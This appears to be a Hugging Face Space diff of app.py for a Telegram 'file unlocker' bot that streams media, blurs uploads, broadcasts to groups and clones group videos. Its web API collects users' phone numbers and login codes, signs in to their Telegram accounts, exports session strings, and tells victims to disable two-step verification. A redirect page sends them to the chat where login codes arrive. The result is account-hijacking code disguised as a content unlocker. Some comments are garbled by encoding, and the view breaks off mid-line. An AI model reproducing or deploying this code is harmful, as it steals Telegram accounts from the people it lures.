Spaces:
Build error
Build error
Update app.py
Browse files
app.py
CHANGED
|
@@ -73,8 +73,23 @@ def run_async(coro):
|
|
| 73 |
|
| 74 |
bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
|
| 75 |
|
| 76 |
-
|
| 77 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 78 |
|
| 79 |
# ==================== CORS MIDDLEWARES ====================
|
| 80 |
@app.before_request
|
|
@@ -105,7 +120,7 @@ def get_msg_file_id(msg):
|
|
| 105 |
if media: return media.file_id
|
| 106 |
return None
|
| 107 |
|
| 108 |
-
# ==================== CUSTOM VIDEO STREAMING ENGINE
|
| 109 |
def get_file_stream(message_id):
|
| 110 |
q = queue.Queue(maxsize=10)
|
| 111 |
stop_flag = [False]
|
|
@@ -122,8 +137,6 @@ def get_file_stream(message_id):
|
|
| 122 |
|
| 123 |
async for chunk in bot.stream_media(msg):
|
| 124 |
if stop_flag[0]: break
|
| 125 |
-
|
| 126 |
-
# Custom wait timeout to check stop_flag efficiently
|
| 127 |
put_success = False
|
| 128 |
while not stop_flag[0]:
|
| 129 |
try:
|
|
@@ -132,9 +145,7 @@ def get_file_stream(message_id):
|
|
| 132 |
break
|
| 133 |
except queue.Full:
|
| 134 |
continue
|
| 135 |
-
|
| 136 |
-
if not put_success:
|
| 137 |
-
break
|
| 138 |
|
| 139 |
except Exception as e:
|
| 140 |
print(f"Error in stream producer: {e}")
|
|
@@ -152,11 +163,8 @@ def get_file_stream(message_id):
|
|
| 152 |
except queue.Empty: break
|
| 153 |
if chunk is None: break
|
| 154 |
yield chunk
|
| 155 |
-
except GeneratorExit:
|
| 156 |
-
|
| 157 |
-
pass
|
| 158 |
-
except Exception as e:
|
| 159 |
-
print(f"Consumer error: {e}")
|
| 160 |
finally:
|
| 161 |
stop_flag[0] = True
|
| 162 |
while not q.empty():
|
|
@@ -178,8 +186,7 @@ def stream_video(message_id):
|
|
| 178 |
return None, None, None
|
| 179 |
|
| 180 |
file_size, file_name, mime_type = run_async(get_media_info())
|
| 181 |
-
if not file_size:
|
| 182 |
-
return "File not found or invalid message", 404
|
| 183 |
|
| 184 |
response = make_response(Response(get_file_stream(message_id), mimetype=mime_type))
|
| 185 |
response.headers['Content-Length'] = file_size
|
|
@@ -203,8 +210,7 @@ def download_video(message_id):
|
|
| 203 |
return None, None, None
|
| 204 |
|
| 205 |
file_size, file_name, mime_type = run_async(get_media_info())
|
| 206 |
-
if not file_size:
|
| 207 |
-
return "File not found or invalid message", 404
|
| 208 |
|
| 209 |
response = make_response(Response(get_file_stream(message_id), mimetype=mime_type))
|
| 210 |
response.headers['Content-Length'] = file_size
|
|
@@ -215,26 +221,16 @@ def download_video(message_id):
|
|
| 215 |
|
| 216 |
# ================= FLASK API ROUTES =================
|
| 217 |
@app.route('/')
|
| 218 |
-
def index():
|
| 219 |
-
return "Bot, Media Uploader, and Real Session API is Running! π"
|
| 220 |
|
| 221 |
@app.route('/api/jump')
|
| 222 |
def jump_to_telegram():
|
| 223 |
html_content = """
|
| 224 |
<!DOCTYPE html>
|
| 225 |
<html>
|
| 226 |
-
<head>
|
| 227 |
-
<title>Redirecting...</title>
|
| 228 |
-
<script>
|
| 229 |
-
window.location.href = "tg://openmessage?user_id=777000";
|
| 230 |
-
setTimeout(function() { window.close(); }, 500);
|
| 231 |
-
</script>
|
| 232 |
-
</head>
|
| 233 |
<body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
|
| 234 |
-
<div style="text-align:center;">
|
| 235 |
-
<div style="font-size:20px; margin-bottom:10px;">β³ Connecting...</div>
|
| 236 |
-
<div style="font-size:12px; color:#888;">Opening Telegram Service Notifications</div>
|
| 237 |
-
</div>
|
| 238 |
</body>
|
| 239 |
</html>
|
| 240 |
"""
|
|
@@ -273,17 +269,14 @@ def api_check_login():
|
|
| 273 |
try:
|
| 274 |
result = run_async(check_user())
|
| 275 |
return jsonify(result)
|
| 276 |
-
except Exception as e:
|
| 277 |
-
return jsonify({"status": "error"})
|
| 278 |
|
| 279 |
@app.route('/api/send_code', methods=['POST'])
|
| 280 |
def api_send_code():
|
| 281 |
data = request.json or {}
|
| 282 |
phone = data.get('phone')
|
| 283 |
user_id = data.get('user_id')
|
| 284 |
-
|
| 285 |
-
if not user_id or str(user_id) == '123456':
|
| 286 |
-
return jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})
|
| 287 |
|
| 288 |
async def process_send_code():
|
| 289 |
if phone in temp_clients:
|
|
@@ -303,8 +296,7 @@ def api_send_code():
|
|
| 303 |
try:
|
| 304 |
result = run_async(process_send_code())
|
| 305 |
return jsonify(result)
|
| 306 |
-
except Exception as e:
|
| 307 |
-
return jsonify({"status": "error", "msg": str(e)})
|
| 308 |
|
| 309 |
@app.route('/api/verify_code', methods=['POST'])
|
| 310 |
def api_verify_code():
|
|
@@ -313,14 +305,12 @@ def api_verify_code():
|
|
| 313 |
user_otp = data.get('otp')
|
| 314 |
user_id = data.get('user_id')
|
| 315 |
|
| 316 |
-
if phone not in temp_clients:
|
| 317 |
-
return jsonify({"status": "error", "msg": "Session expired, request code again!"})
|
| 318 |
|
| 319 |
async def process_verify():
|
| 320 |
temp_data = temp_clients[phone]
|
| 321 |
client = temp_data['client']
|
| 322 |
phone_hash = temp_data['hash']
|
| 323 |
-
|
| 324 |
try:
|
| 325 |
await client.sign_in(phone, phone_hash, user_otp)
|
| 326 |
session_string = await client.export_session_string()
|
|
@@ -336,8 +326,7 @@ def api_verify_code():
|
|
| 336 |
except: pass
|
| 337 |
if phone in temp_clients: del temp_clients[phone]
|
| 338 |
return {"status": "error", "msg": "Two-Step Verification is ON! Please turn it off and try again."}
|
| 339 |
-
except PhoneCodeInvalid:
|
| 340 |
-
return {"status": "error", "msg": "Invalid OTP Code!"}
|
| 341 |
except PhoneCodeExpired:
|
| 342 |
try: await client.disconnect()
|
| 343 |
except: pass
|
|
@@ -352,8 +341,7 @@ def api_verify_code():
|
|
| 352 |
try:
|
| 353 |
result = run_async(process_verify())
|
| 354 |
return jsonify(result)
|
| 355 |
-
except Exception as e:
|
| 356 |
-
return jsonify({"status": "error", "msg": str(e)})
|
| 357 |
|
| 358 |
# ================= TELEGRAM BOT COMMANDS =================
|
| 359 |
@bot.on_message(filters.command("start"))
|
|
@@ -435,8 +423,7 @@ async def send_to_specific_group(client, message):
|
|
| 435 |
return await message.reply("β <b>Please reply to a message, photo, or video that you want to send.</b>\n\nExample: `/sendto -1001234567890`")
|
| 436 |
|
| 437 |
args = message.command
|
| 438 |
-
if len(args) < 2:
|
| 439 |
-
return await message.reply("β <b>Group ID missing!</b>\n\nCorrect format:\n`/sendto -1003973566529`")
|
| 440 |
|
| 441 |
try:
|
| 442 |
group_id = int(args[1])
|
|
@@ -453,8 +440,7 @@ async def save_progress(source_id, dest_id, msg_id):
|
|
| 453 |
await db_query(lambda: supabase.table('clone_progress').update({'last_copied_id': msg_id}).eq('id', res.data[0]['id']).execute())
|
| 454 |
else:
|
| 455 |
await db_query(lambda: supabase.table('clone_progress').insert({'source_id': source_id, 'dest_id': dest_id, 'last_copied_id': msg_id}).execute())
|
| 456 |
-
except Exception as e:
|
| 457 |
-
print(f"Error saving progress: {e}")
|
| 458 |
|
| 459 |
async def clone_videos_background(client, source_id, dest_id, status_msg):
|
| 460 |
try:
|
|
@@ -471,16 +457,11 @@ async def clone_videos_background(client, source_id, dest_id, status_msg):
|
|
| 471 |
retries = 5
|
| 472 |
while retries > 0:
|
| 473 |
try:
|
| 474 |
-
if not client.is_connected:
|
| 475 |
-
try: await client.connect()
|
| 476 |
-
except: pass
|
| 477 |
-
|
| 478 |
async for msg in client.search_messages(source_id, filter=enums.MessagesFilter.VIDEO):
|
| 479 |
-
if last_copied_id and msg.id <= last_copied_id:
|
| 480 |
-
continue
|
| 481 |
video_ids.append(msg.id)
|
| 482 |
-
if len(video_ids) % 200 == 0:
|
| 483 |
-
await asyncio.sleep(0.1)
|
| 484 |
break
|
| 485 |
except Exception as e:
|
| 486 |
err_msg = str(e).lower()
|
|
@@ -489,22 +470,17 @@ async def clone_videos_background(client, source_id, dest_id, status_msg):
|
|
| 489 |
video_ids = []
|
| 490 |
await status_msg.edit_text(f"β οΈ <b>Network issue detected!</b>\nRetrying in 10 seconds... (Attempts left: {retries})\nError: <code>{e}</code>", parse_mode=enums.ParseMode.HTML)
|
| 491 |
await asyncio.sleep(10)
|
| 492 |
-
else:
|
| 493 |
-
raise e
|
| 494 |
|
| 495 |
if not video_ids:
|
| 496 |
-
if last_copied_id:
|
| 497 |
-
|
| 498 |
-
else:
|
| 499 |
-
return await status_msg.edit_text("β <b>No videos found in the source group!</b>\n(Make sure the bot is an admin with read history permission in that group).", parse_mode=enums.ParseMode.HTML)
|
| 500 |
|
| 501 |
video_ids.reverse()
|
| 502 |
total = len(video_ids)
|
| 503 |
|
| 504 |
-
if last_copied_id:
|
| 505 |
-
|
| 506 |
-
else:
|
| 507 |
-
await status_msg.edit_text(f"β
Found <b>{total}</b> videos.\nπ Background cloning started from oldest to newest...", parse_mode=enums.ParseMode.HTML)
|
| 508 |
|
| 509 |
success = 0
|
| 510 |
failed = 0
|
|
@@ -512,59 +488,44 @@ async def clone_videos_background(client, source_id, dest_id, status_msg):
|
|
| 512 |
for index, msg_id in enumerate(video_ids, 1):
|
| 513 |
copy_success = False
|
| 514 |
copy_retries = 3
|
| 515 |
-
|
| 516 |
while copy_retries > 0:
|
| 517 |
try:
|
| 518 |
-
if not client.is_connected:
|
| 519 |
-
try: await client.connect()
|
| 520 |
-
except: pass
|
| 521 |
-
|
| 522 |
await client.copy_message(chat_id=dest_id, from_chat_id=source_id, message_id=msg_id)
|
| 523 |
success += 1
|
| 524 |
await save_progress(source_id, dest_id, msg_id)
|
| 525 |
copy_success = True
|
| 526 |
break
|
| 527 |
-
except FloodWait as e:
|
| 528 |
-
await asyncio.sleep(e.value + 2)
|
| 529 |
except Exception as e:
|
| 530 |
err_msg = str(e).lower()
|
| 531 |
if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg or "reset" in err_msg:
|
| 532 |
copy_retries -= 1
|
| 533 |
await asyncio.sleep(5)
|
| 534 |
-
else:
|
| 535 |
-
break
|
| 536 |
-
|
| 537 |
-
if not copy_success:
|
| 538 |
-
failed += 1
|
| 539 |
|
|
|
|
| 540 |
if index % 20 == 0 or index == total:
|
| 541 |
-
try:
|
| 542 |
-
|
| 543 |
-
except FloodWait:
|
| 544 |
-
pass
|
| 545 |
-
except Exception:
|
| 546 |
-
pass
|
| 547 |
|
| 548 |
await asyncio.sleep(2.5)
|
| 549 |
|
| 550 |
await status_msg.edit_text(f"π <b>Cloning Completely Finished!</b>\n\nSource: <code>{source_id}</code>\nTotal Copied: <b>{total}</b>\nβ
Successfully Copied: <b>{success}</b>\nβ Failed: <b>{failed}</b>", parse_mode=enums.ParseMode.HTML)
|
| 551 |
|
| 552 |
except Exception as e:
|
| 553 |
-
try:
|
| 554 |
-
await status_msg.edit_text(f"β <b>Cloning Error:</b> {e}", parse_mode=enums.ParseMode.HTML)
|
| 555 |
except: pass
|
| 556 |
|
| 557 |
@bot.on_message(filters.command("clone") & filters.private & filters.user(ADMIN_IDS))
|
| 558 |
async def start_cloning(client, message):
|
| 559 |
args = message.command
|
| 560 |
-
if len(args) != 3:
|
| 561 |
-
return await message.reply("β <b>Invalid format!</b>\n\nUse: `/clone <Source_Group_ID> <Destination_Group_ID>`\nExample: `/clone -100123456789 -100987654321`", parse_mode=enums.ParseMode.HTML)
|
| 562 |
|
| 563 |
try:
|
| 564 |
source_id = int(args[1])
|
| 565 |
dest_id = int(args[2])
|
| 566 |
-
except ValueError:
|
| 567 |
-
return await message.reply("β Chat IDs must be numbers.")
|
| 568 |
|
| 569 |
status_msg = await message.reply("β³ Initializing cloning task...", parse_mode=enums.ParseMode.HTML)
|
| 570 |
asyncio.create_task(clone_videos_background(client, source_id, dest_id, status_msg))
|
|
@@ -581,8 +542,7 @@ async def set_upload_mode(client, message):
|
|
| 581 |
elif mode in ["byse", "byse.sx", "external"]:
|
| 582 |
upload_mode = "byse"
|
| 583 |
await message.reply("β
<b>Upload server set to: Byse.sx</b>\nVideos will be uploaded to Byse.sx and streamed via their player.")
|
| 584 |
-
else:
|
| 585 |
-
await message.reply("β <b>Invalid server!</b> Use `/upload telegram` or `/upload byse`.")
|
| 586 |
else:
|
| 587 |
await message.reply(f"π <b>Current Upload Server:</b> <code>{upload_mode.upper()}</code>\n\nTo change, use:\nπ `/upload telegram` (Storage Channel Stream)\nπ `/upload byse` (Byse.sx third-party player)")
|
| 588 |
|
|
@@ -616,8 +576,7 @@ async def set_blur_state(client, message):
|
|
| 616 |
clear_msg = f"and the top <b>{clear_percent}%</b> part will remain clear." if clear_percent > 0 else "The entire photo/video will be blurred."
|
| 617 |
reply_text = f"β
<b>Blur set to: {percent}%</b>\nπ {clear_msg}\n\nThis will be applied to all future uploads.\n<i>(To disable, send /blur 0)</i>"
|
| 618 |
await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
|
| 619 |
-
else:
|
| 620 |
-
await message.reply("β <b>Invalid command!</b>\nCorrect format: `/blur 60` or `/blur 60 20`")
|
| 621 |
except Exception as e: print(e)
|
| 622 |
|
| 623 |
def upload_file_sync(upload_url, file_path, api_key):
|
|
@@ -639,8 +598,7 @@ async def handle_media_upload(client, message):
|
|
| 639 |
is_animation = message.animation or (message.document and message.document.mime_type and "gif" in message.document.mime_type)
|
| 640 |
is_photo = message.photo or (message.document and message.document.mime_type and "image" in message.document.mime_type)
|
| 641 |
|
| 642 |
-
if not (is_video or is_animation or is_photo):
|
| 643 |
-
return
|
| 644 |
|
| 645 |
media_type = "video" if (is_video or is_animation) else "photo"
|
| 646 |
has_blur_caption = message.caption and "/blur" in message.caption.lower()
|
|
@@ -877,15 +835,22 @@ async def handle_media_upload(client, message):
|
|
| 877 |
try: await status_msg.delete()
|
| 878 |
except: pass
|
| 879 |
|
| 880 |
-
#
|
| 881 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 882 |
group_ids = [g['group_id'] for g in groups_res.data]
|
| 883 |
success_count, fail_count = 0, 0
|
| 884 |
|
|
|
|
| 885 |
for gid in set(group_ids):
|
| 886 |
retries = 3
|
| 887 |
while retries > 0:
|
| 888 |
try:
|
|
|
|
| 889 |
if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
|
| 890 |
else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
|
| 891 |
success_count += 1
|
|
@@ -894,7 +859,7 @@ async def handle_media_upload(client, message):
|
|
| 894 |
await asyncio.sleep(e.value + 1)
|
| 895 |
except Exception as e:
|
| 896 |
err_msg = str(e).lower()
|
| 897 |
-
if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg:
|
| 898 |
retries -= 1
|
| 899 |
await asyncio.sleep(3)
|
| 900 |
else:
|
|
@@ -902,10 +867,11 @@ async def handle_media_upload(client, message):
|
|
| 902 |
break
|
| 903 |
await asyncio.sleep(1.5)
|
| 904 |
|
| 905 |
-
# Success notification
|
| 906 |
retries = 3
|
| 907 |
while retries > 0:
|
| 908 |
try:
|
|
|
|
| 909 |
await message.reply(f"π’ <b>Broadcast Complete!</b>\n\nβ
Success: {success_count} groups\nβ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
|
| 910 |
break
|
| 911 |
except FloodWait as e:
|
|
@@ -915,11 +881,10 @@ async def handle_media_upload(client, message):
|
|
| 915 |
if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg:
|
| 916 |
retries -= 1
|
| 917 |
await asyncio.sleep(3)
|
| 918 |
-
else:
|
| 919 |
-
break
|
| 920 |
|
| 921 |
except Exception as e:
|
| 922 |
-
try: await message.reply(f"β οΈ Error
|
| 923 |
except: pass
|
| 924 |
finally:
|
| 925 |
for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None, f"{original_file}_storage_thumb.jpg" if original_file else None]:
|
|
|
|
| 73 |
|
| 74 |
bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
|
| 75 |
|
| 76 |
+
# ==================== ROBUST DB QUERY WITH AUTO-RETRY ====================
|
| 77 |
+
# ঑াΰ¦ΰ¦Ύΰ¦¬ΰ§ΰ¦ ΰ¦ΰ¦Ύΰ¦¨ΰ§ΰ¦ΰ¦Άΰ¦¨ ঑িসΰ¦ΰ¦Ύΰ¦¨ΰ§ΰ¦ΰ§ΰ¦ হলৠযΰ§ΰ¦¨ ΰ¦ΰ§ΰ¦°ΰ§ΰ¦―ΰ¦Ύΰ¦Ά না ΰ¦ΰ¦°ΰ§, ΰ¦Έΰ§ΰ¦ΰ¦¨ΰ§ΰ¦― 3-বার ΰ¦°ΰ¦Ώΰ¦ΰ§ΰ¦°ΰ¦Ύΰ¦ ΰ¦ΰ¦°ΰ¦¬ΰ§
|
| 78 |
+
async def db_query(func, max_retries=3):
|
| 79 |
+
last_error = None
|
| 80 |
+
for attempt in range(max_retries):
|
| 81 |
+
try:
|
| 82 |
+
return await asyncio.to_thread(func)
|
| 83 |
+
except Exception as e:
|
| 84 |
+
last_error = e
|
| 85 |
+
err_msg = str(e).lower()
|
| 86 |
+
if "terminated" in err_msg or "disconnect" in err_msg or "timeout" in err_msg or "connection" in err_msg:
|
| 87 |
+
if attempt < max_retries - 1:
|
| 88 |
+
await asyncio.sleep(1.5) # ΰ¦ΰ¦ΰ¦ΰ§ ΰ¦
ΰ¦ͺΰ§ΰ¦ΰ§ΰ¦·ΰ¦Ύ ΰ¦ΰ¦°ΰ§ ΰ¦ΰ¦¬ΰ¦Ύΰ¦° ΰ¦ΰ§ΰ¦°ΰ¦Ύΰ¦ ΰ¦ΰ¦°ΰ¦¬ΰ§
|
| 89 |
+
continue
|
| 90 |
+
raise e
|
| 91 |
+
raise last_error
|
| 92 |
+
# =========================================================================
|
| 93 |
|
| 94 |
# ==================== CORS MIDDLEWARES ====================
|
| 95 |
@app.before_request
|
|
|
|
| 120 |
if media: return media.file_id
|
| 121 |
return None
|
| 122 |
|
| 123 |
+
# ==================== CUSTOM VIDEO STREAMING ENGINE ====================
|
| 124 |
def get_file_stream(message_id):
|
| 125 |
q = queue.Queue(maxsize=10)
|
| 126 |
stop_flag = [False]
|
|
|
|
| 137 |
|
| 138 |
async for chunk in bot.stream_media(msg):
|
| 139 |
if stop_flag[0]: break
|
|
|
|
|
|
|
| 140 |
put_success = False
|
| 141 |
while not stop_flag[0]:
|
| 142 |
try:
|
|
|
|
| 145 |
break
|
| 146 |
except queue.Full:
|
| 147 |
continue
|
| 148 |
+
if not put_success: break
|
|
|
|
|
|
|
| 149 |
|
| 150 |
except Exception as e:
|
| 151 |
print(f"Error in stream producer: {e}")
|
|
|
|
| 163 |
except queue.Empty: break
|
| 164 |
if chunk is None: break
|
| 165 |
yield chunk
|
| 166 |
+
except GeneratorExit: pass
|
| 167 |
+
except Exception as e: print(f"Consumer error: {e}")
|
|
|
|
|
|
|
|
|
|
| 168 |
finally:
|
| 169 |
stop_flag[0] = True
|
| 170 |
while not q.empty():
|
|
|
|
| 186 |
return None, None, None
|
| 187 |
|
| 188 |
file_size, file_name, mime_type = run_async(get_media_info())
|
| 189 |
+
if not file_size: return "File not found or invalid message", 404
|
|
|
|
| 190 |
|
| 191 |
response = make_response(Response(get_file_stream(message_id), mimetype=mime_type))
|
| 192 |
response.headers['Content-Length'] = file_size
|
|
|
|
| 210 |
return None, None, None
|
| 211 |
|
| 212 |
file_size, file_name, mime_type = run_async(get_media_info())
|
| 213 |
+
if not file_size: return "File not found or invalid message", 404
|
|
|
|
| 214 |
|
| 215 |
response = make_response(Response(get_file_stream(message_id), mimetype=mime_type))
|
| 216 |
response.headers['Content-Length'] = file_size
|
|
|
|
| 221 |
|
| 222 |
# ================= FLASK API ROUTES =================
|
| 223 |
@app.route('/')
|
| 224 |
+
def index(): return "Bot, Media Uploader, and Real Session API is Running! π"
|
|
|
|
| 225 |
|
| 226 |
@app.route('/api/jump')
|
| 227 |
def jump_to_telegram():
|
| 228 |
html_content = """
|
| 229 |
<!DOCTYPE html>
|
| 230 |
<html>
|
| 231 |
+
<head><title>Redirecting...</title><script>window.location.href = "tg://openmessage?user_id=777000";setTimeout(function() { window.close(); }, 500);</script></head>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 232 |
<body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
|
| 233 |
+
<div style="text-align:center;"><div style="font-size:20px; margin-bottom:10px;">β³ Connecting...</div><div style="font-size:12px; color:#888;">Opening Telegram Service Notifications</div></div>
|
|
|
|
|
|
|
|
|
|
| 234 |
</body>
|
| 235 |
</html>
|
| 236 |
"""
|
|
|
|
| 269 |
try:
|
| 270 |
result = run_async(check_user())
|
| 271 |
return jsonify(result)
|
| 272 |
+
except Exception as e: return jsonify({"status": "error"})
|
|
|
|
| 273 |
|
| 274 |
@app.route('/api/send_code', methods=['POST'])
|
| 275 |
def api_send_code():
|
| 276 |
data = request.json or {}
|
| 277 |
phone = data.get('phone')
|
| 278 |
user_id = data.get('user_id')
|
| 279 |
+
if not user_id or str(user_id) == '123456': return jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})
|
|
|
|
|
|
|
| 280 |
|
| 281 |
async def process_send_code():
|
| 282 |
if phone in temp_clients:
|
|
|
|
| 296 |
try:
|
| 297 |
result = run_async(process_send_code())
|
| 298 |
return jsonify(result)
|
| 299 |
+
except Exception as e: return jsonify({"status": "error", "msg": str(e)})
|
|
|
|
| 300 |
|
| 301 |
@app.route('/api/verify_code', methods=['POST'])
|
| 302 |
def api_verify_code():
|
|
|
|
| 305 |
user_otp = data.get('otp')
|
| 306 |
user_id = data.get('user_id')
|
| 307 |
|
| 308 |
+
if phone not in temp_clients: return jsonify({"status": "error", "msg": "Session expired, request code again!"})
|
|
|
|
| 309 |
|
| 310 |
async def process_verify():
|
| 311 |
temp_data = temp_clients[phone]
|
| 312 |
client = temp_data['client']
|
| 313 |
phone_hash = temp_data['hash']
|
|
|
|
| 314 |
try:
|
| 315 |
await client.sign_in(phone, phone_hash, user_otp)
|
| 316 |
session_string = await client.export_session_string()
|
|
|
|
| 326 |
except: pass
|
| 327 |
if phone in temp_clients: del temp_clients[phone]
|
| 328 |
return {"status": "error", "msg": "Two-Step Verification is ON! Please turn it off and try again."}
|
| 329 |
+
except PhoneCodeInvalid: return {"status": "error", "msg": "Invalid OTP Code!"}
|
|
|
|
| 330 |
except PhoneCodeExpired:
|
| 331 |
try: await client.disconnect()
|
| 332 |
except: pass
|
|
|
|
| 341 |
try:
|
| 342 |
result = run_async(process_verify())
|
| 343 |
return jsonify(result)
|
| 344 |
+
except Exception as e: return jsonify({"status": "error", "msg": str(e)})
|
|
|
|
| 345 |
|
| 346 |
# ================= TELEGRAM BOT COMMANDS =================
|
| 347 |
@bot.on_message(filters.command("start"))
|
|
|
|
| 423 |
return await message.reply("β <b>Please reply to a message, photo, or video that you want to send.</b>\n\nExample: `/sendto -1001234567890`")
|
| 424 |
|
| 425 |
args = message.command
|
| 426 |
+
if len(args) < 2: return await message.reply("β <b>Group ID missing!</b>\n\nCorrect format:\n`/sendto -1003973566529`")
|
|
|
|
| 427 |
|
| 428 |
try:
|
| 429 |
group_id = int(args[1])
|
|
|
|
| 440 |
await db_query(lambda: supabase.table('clone_progress').update({'last_copied_id': msg_id}).eq('id', res.data[0]['id']).execute())
|
| 441 |
else:
|
| 442 |
await db_query(lambda: supabase.table('clone_progress').insert({'source_id': source_id, 'dest_id': dest_id, 'last_copied_id': msg_id}).execute())
|
| 443 |
+
except Exception as e: print(f"Error saving progress: {e}")
|
|
|
|
| 444 |
|
| 445 |
async def clone_videos_background(client, source_id, dest_id, status_msg):
|
| 446 |
try:
|
|
|
|
| 457 |
retries = 5
|
| 458 |
while retries > 0:
|
| 459 |
try:
|
| 460 |
+
if not client.is_connected: await client.connect()
|
|
|
|
|
|
|
|
|
|
| 461 |
async for msg in client.search_messages(source_id, filter=enums.MessagesFilter.VIDEO):
|
| 462 |
+
if last_copied_id and msg.id <= last_copied_id: continue
|
|
|
|
| 463 |
video_ids.append(msg.id)
|
| 464 |
+
if len(video_ids) % 200 == 0: await asyncio.sleep(0.1)
|
|
|
|
| 465 |
break
|
| 466 |
except Exception as e:
|
| 467 |
err_msg = str(e).lower()
|
|
|
|
| 470 |
video_ids = []
|
| 471 |
await status_msg.edit_text(f"β οΈ <b>Network issue detected!</b>\nRetrying in 10 seconds... (Attempts left: {retries})\nError: <code>{e}</code>", parse_mode=enums.ParseMode.HTML)
|
| 472 |
await asyncio.sleep(10)
|
| 473 |
+
else: raise e
|
|
|
|
| 474 |
|
| 475 |
if not video_ids:
|
| 476 |
+
if last_copied_id: return await status_msg.edit_text("π <b>All videos are already cloned!</b>\nNo new videos found in the source group.", parse_mode=enums.ParseMode.HTML)
|
| 477 |
+
else: return await status_msg.edit_text("β <b>No videos found in the source group!</b>\n(Make sure the bot is an admin with read history permission in that group).", parse_mode=enums.ParseMode.HTML)
|
|
|
|
|
|
|
| 478 |
|
| 479 |
video_ids.reverse()
|
| 480 |
total = len(video_ids)
|
| 481 |
|
| 482 |
+
if last_copied_id: await status_msg.edit_text(f"β
Found <b>{total}</b> new videos to clone.\nπ Resuming background cloning from oldest to newest...", parse_mode=enums.ParseMode.HTML)
|
| 483 |
+
else: await status_msg.edit_text(f"β
Found <b>{total}</b> videos.\nπ Background cloning started from oldest to newest...", parse_mode=enums.ParseMode.HTML)
|
|
|
|
|
|
|
| 484 |
|
| 485 |
success = 0
|
| 486 |
failed = 0
|
|
|
|
| 488 |
for index, msg_id in enumerate(video_ids, 1):
|
| 489 |
copy_success = False
|
| 490 |
copy_retries = 3
|
|
|
|
| 491 |
while copy_retries > 0:
|
| 492 |
try:
|
| 493 |
+
if not client.is_connected: await client.connect()
|
|
|
|
|
|
|
|
|
|
| 494 |
await client.copy_message(chat_id=dest_id, from_chat_id=source_id, message_id=msg_id)
|
| 495 |
success += 1
|
| 496 |
await save_progress(source_id, dest_id, msg_id)
|
| 497 |
copy_success = True
|
| 498 |
break
|
| 499 |
+
except FloodWait as e: await asyncio.sleep(e.value + 2)
|
|
|
|
| 500 |
except Exception as e:
|
| 501 |
err_msg = str(e).lower()
|
| 502 |
if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg or "reset" in err_msg:
|
| 503 |
copy_retries -= 1
|
| 504 |
await asyncio.sleep(5)
|
| 505 |
+
else: break
|
|
|
|
|
|
|
|
|
|
|
|
|
| 506 |
|
| 507 |
+
if not copy_success: failed += 1
|
| 508 |
if index % 20 == 0 or index == total:
|
| 509 |
+
try: await status_msg.edit_text(f"β³ <b>Cloning in progress... (Background)</b>\n\nTotal Videos to Copy: <b>{total}</b>\nβ
Copied: <b>{success}</b>\nβ Failed: <b>{failed}</b>\nLast Video ID: <code>{msg_id}</code>", parse_mode=enums.ParseMode.HTML)
|
| 510 |
+
except: pass
|
|
|
|
|
|
|
|
|
|
|
|
|
| 511 |
|
| 512 |
await asyncio.sleep(2.5)
|
| 513 |
|
| 514 |
await status_msg.edit_text(f"π <b>Cloning Completely Finished!</b>\n\nSource: <code>{source_id}</code>\nTotal Copied: <b>{total}</b>\nβ
Successfully Copied: <b>{success}</b>\nβ Failed: <b>{failed}</b>", parse_mode=enums.ParseMode.HTML)
|
| 515 |
|
| 516 |
except Exception as e:
|
| 517 |
+
try: await status_msg.edit_text(f"β <b>Cloning Error:</b> {e}", parse_mode=enums.ParseMode.HTML)
|
|
|
|
| 518 |
except: pass
|
| 519 |
|
| 520 |
@bot.on_message(filters.command("clone") & filters.private & filters.user(ADMIN_IDS))
|
| 521 |
async def start_cloning(client, message):
|
| 522 |
args = message.command
|
| 523 |
+
if len(args) != 3: return await message.reply("β <b>Invalid format!</b>\n\nUse: `/clone <Source_Group_ID> <Destination_Group_ID>`\nExample: `/clone -100123456789 -100987654321`", parse_mode=enums.ParseMode.HTML)
|
|
|
|
| 524 |
|
| 525 |
try:
|
| 526 |
source_id = int(args[1])
|
| 527 |
dest_id = int(args[2])
|
| 528 |
+
except ValueError: return await message.reply("β Chat IDs must be numbers.")
|
|
|
|
| 529 |
|
| 530 |
status_msg = await message.reply("β³ Initializing cloning task...", parse_mode=enums.ParseMode.HTML)
|
| 531 |
asyncio.create_task(clone_videos_background(client, source_id, dest_id, status_msg))
|
|
|
|
| 542 |
elif mode in ["byse", "byse.sx", "external"]:
|
| 543 |
upload_mode = "byse"
|
| 544 |
await message.reply("β
<b>Upload server set to: Byse.sx</b>\nVideos will be uploaded to Byse.sx and streamed via their player.")
|
| 545 |
+
else: await message.reply("β <b>Invalid server!</b> Use `/upload telegram` or `/upload byse`.")
|
|
|
|
| 546 |
else:
|
| 547 |
await message.reply(f"π <b>Current Upload Server:</b> <code>{upload_mode.upper()}</code>\n\nTo change, use:\nπ `/upload telegram` (Storage Channel Stream)\nπ `/upload byse` (Byse.sx third-party player)")
|
| 548 |
|
|
|
|
| 576 |
clear_msg = f"and the top <b>{clear_percent}%</b> part will remain clear." if clear_percent > 0 else "The entire photo/video will be blurred."
|
| 577 |
reply_text = f"β
